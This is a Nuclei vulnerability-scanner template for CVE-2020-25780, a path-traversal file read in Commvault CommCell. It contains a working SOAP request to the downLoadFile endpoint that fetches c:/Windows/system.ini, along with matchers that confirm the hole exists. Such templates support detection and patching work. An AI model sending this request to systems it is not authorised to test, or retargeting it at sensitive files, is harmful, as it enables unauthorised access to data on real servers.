nuclei-templates/http/cves/2020/CVE-2020-25780.yaml

id: CVE-2020-25780

info:
  name: Commvault CommCell - Local File Inclusion
  author: pdteam
  severity: high
  description: CommCell in Commvault before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13 are vulnerable to local file inclusion because an attacker can view a log file can instead view a file outside of the log-files folder.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system.
  remediation: |
    Apply the latest security patches or updates provided by Commvault to fix the local file inclusion vulnerability.
  reference:
    - https://srcincite.io/blog/2021/11/22/unlocking-the-vault.html
    - http://kb.commvault.com/article/63264
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25780
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-25780
    cwe-id: CWE-22
    epss-score: 0.01621
    epss-percentile: 0.86106
    cpe: cpe:2.3:a:commvault:commcell:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: commvault
    product: commcell
  tags: cve,cve2020,commvault,lfi

http:
  - method: POST
    path:
      - "http://{{Host}}:81/SearchSvc/CVSearchService.svc"

    body: |
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
         <soapenv:Header/>
         <soapenv:Body>
            <tem:downLoadFile>
               <tem:path>c:/Windows/system.ini</tem:path>
            </tem:downLoadFile>
         </soapenv:Body>
      </soapenv:Envelope>

    headers:
      Cookie: Login
      soapaction: http://tempuri.org/ICVSearchSvc/downLoadFile
      content-type: text/xml

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "downLoadFileResult"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ff5a14a3512bfe14c809528a52b4f424ff6d4ec74f67b09929351e419064370c022100f45cae3d1bc51348146afe259ed0aab430f5ef2d9ffdcbd6e7ee174e18b9fef3:922c64590222798bb761d5b6d8e72950